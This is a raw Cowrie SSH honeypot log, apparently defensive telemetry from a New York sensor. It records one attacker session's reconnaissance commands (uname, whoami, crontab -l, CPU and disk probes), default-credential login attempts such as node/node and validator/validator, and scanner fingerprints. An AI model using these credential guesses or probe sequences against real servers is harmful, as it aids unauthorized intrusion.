{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","size":55,"shasum":"a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.631427Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.880034Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"crontab -l","message":"CMD: crontab -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:06.883126Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","size":20,"shasum":"f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.012795Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.258279Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"w","message":"CMD: w","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.261792Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","size":205,"shasum":"50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/50e721e49c013f00c62cf59f2163542a9d8df02464efeb615d31051b0fddc326 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.370432Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.626689Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -m","message":"CMD: uname -m","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.629971Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","size":7,"shasum":"ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.738232Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.988034Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"cat /proc/cpuinfo | grep model | grep name | wc -l","message":"CMD: cat /proc/cpuinfo | grep model | grep name | wc -l","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:07.991440Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","size":2,"shasum":"64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/64426356ffcabc3671e5bd0acff75ec85278dc0d4ff5dac8cc07a9dc05a4c420 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.100967Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.356623Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"top","message":"CMD: top","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.360401Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","size":44,"shasum":"28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28720365c5e7476a011e4f43ac003ee5f16247a263b9d623aa85ed311d73bf39 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.469329Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.719378Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname","message":"CMD: uname","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.722935Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","size":6,"shasum":"5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/5c0be87ed7434d69005f8bbd84cad8ae6abfd49121b4aaeeb4c1f4a2e2987711 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:08.832737Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.086611Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"uname -a","message":"CMD: uname -a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.089594Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","size":81,"shasum":"28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/28ba533b0f3c4df63d6b4a5ead73860697bdf735bb353e4ca928474889eb8a15 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.196842Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.440854Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"whoami","message":"CMD: whoami","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.443981Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","size":5,"shasum":"f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/f25297859cf0a70af5c053a5464a5fa647a35ceee1d91397331903846d79ffc1 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.551223Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.800843Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"lscpu | grep Model","message":"CMD: lscpu | grep Model","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.803224Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","size":26,"shasum":"afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/afd0dd76c8d59e416fec286d040e83826448034f3e0fe636494e348f908ff851 after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:09.911021Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.params","arch":"linux-x64-lsb","message":[],"sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:10.172395Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.command.input","input":"df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","message":"CMD: df -h | head -n 2 | awk 'FNR == 2 {print $2;}'","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:10.175405Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","size":12,"shasum":"09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e","duplicate":true,"duration":"0.1","message":"Closing TTY Log: var/lib/cowrie/tty/09a3e612f8cad156005766467cf917c507aa88b3336043a76182a301b404545e after 0.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:10.283839Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"7.2","message":"Connection lost after 7.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:10.287922Z","src_ip":"85.87.1.47","session":"bed49eeceb90","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":42090,"dst_ip":"10.17.0.5","dst_port":22,"session":"fecfdc442935","protocol":"ssh","message":"New connection: 92.118.39.92:42090 (10.17.0.5:22) [session: fecfdc442935]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:46.016389Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:46.021349Z","src_ip":"92.118.39.92","session":"fecfdc442935","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:46.125865Z","src_ip":"92.118.39.92","session":"fecfdc442935","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"node","password":"node","message":"login attempt [node/node] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:46.539726Z","src_ip":"92.118.39.92","session":"fecfdc442935","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:23:47.666958Z","src_ip":"92.118.39.92","session":"fecfdc442935","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"147.185.132.24","src_port":65424,"dst_ip":"10.17.0.5","dst_port":22,"session":"83574426c08e","protocol":"ssh","message":"New connection: 147.185.132.24:65424 (10.17.0.5:22) [session: 83574426c08e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:09.496628Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-ZGrab ZGrab SSH Survey","message":"Remote SSH version: SSH-2.0-ZGrab ZGrab SSH Survey","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:10.280918Z","src_ip":"147.185.132.24","session":"83574426c08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":35350,"dst_ip":"10.17.0.5","dst_port":22,"session":"385bb7ec21c2","protocol":"ssh","message":"New connection: 2.57.122.210:35350 (10.17.0.5:22) [session: 385bb7ec21c2]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:10.313411Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:10.318803Z","src_ip":"2.57.122.210","session":"385bb7ec21c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:10.418551Z","src_ip":"2.57.122.210","session":"385bb7ec21c2","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sol","password":"solv","message":"login attempt [sol/solv] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:10.717765Z","src_ip":"2.57.122.210","session":"385bb7ec21c2","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"dd9bcf093c355da7000132131cb36fd0","hasshAlgorithms":"diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1;aes128-ctr,aes192-ctr,aes256-ctr,arcfour256,arcfour128,aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,aes192-cbc,aes256-cbc,arcfour,rijndael-cbc@lysator.liu.se;hmac-md5-etm@openssh.com,hmac-sha1-etm@openssh.com,umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-ripemd160-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,hmac-md5,hmac-sha1,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-ripemd160,hmac-ripemd160@openssh.com,hmac-sha1-96,hmac-md5-96;none,zlib@openssh.com,zlib","kexAlgs":["diffie-hellman-group-exchange-sha256","diffie-hellman-group-exchange-sha1","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1"],"keyAlgs":["ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ssh-rsa-cert-v00@openssh.com","ssh-dss-cert-v00@openssh.com","ssh-ed25519","ssh-rsa","ssh-dss"],"encCS":["aes128-ctr","aes192-ctr","aes256-ctr","arcfour256","arcfour128","aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-cbc","3des-cbc","blowfish-cbc","cast128-cbc","aes192-cbc","aes256-cbc","arcfour","rijndael-cbc@lysator.liu.se"],"macCS":["hmac-md5-etm@openssh.com","hmac-sha1-etm@openssh.com","umac-64-etm@openssh.com","umac-128-etm@openssh.com","hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-ripemd160-etm@openssh.com","hmac-sha1-96-etm@openssh.com","hmac-md5-96-etm@openssh.com","hmac-md5","hmac-sha1","umac-64@openssh.com","umac-128@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-ripemd160","hmac-ripemd160@openssh.com","hmac-sha1-96","hmac-md5-96"],"compCS":["none","zlib@openssh.com","zlib"],"langCS":[""],"message":"SSH client hassh fingerprint: dd9bcf093c355da7000132131cb36fd0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:11.414764Z","src_ip":"147.185.132.24","session":"83574426c08e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.6","message":"Connection lost after 3.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:13.939656Z","src_ip":"2.57.122.210","session":"385bb7ec21c2","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"9.7","message":"Connection lost after 9.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:19.161393Z","src_ip":"147.185.132.24","session":"83574426c08e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"82.146.61.253","src_port":58786,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2238a87fb47","protocol":"ssh","message":"New connection: 82.146.61.253:58786 (159.203.135.109:22) [session: d2238a87fb47]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:24:54.304089Z"}
{"eventid":"cowrie.session.connect","src_ip":"92.118.39.92","src_port":58714,"dst_ip":"10.17.0.5","dst_port":22,"session":"26f973fab984","protocol":"ssh","message":"New connection: 92.118.39.92:58714 (10.17.0.5:22) [session: 26f973fab984]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:25:51.803492Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:25:51.809772Z","src_ip":"92.118.39.92","session":"26f973fab984","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:25:51.904801Z","src_ip":"92.118.39.92","session":"26f973fab984","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"validator","password":"validator","message":"login attempt [validator/validator] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:25:52.263447Z","src_ip":"92.118.39.92","session":"26f973fab984","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:25:53.408833Z","src_ip":"92.118.39.92","session":"26f973fab984","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.210","src_port":38070,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5cb5374d8ab","protocol":"ssh","message":"New connection: 2.57.122.210:38070 (10.17.0.5:22) [session: e5cb5374d8ab]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:21.978376Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-03-29T04:26:21.983179Z","src_ip":"2.57.122.210","session":"e5cb5374d8ab","protocol":"ssh"}
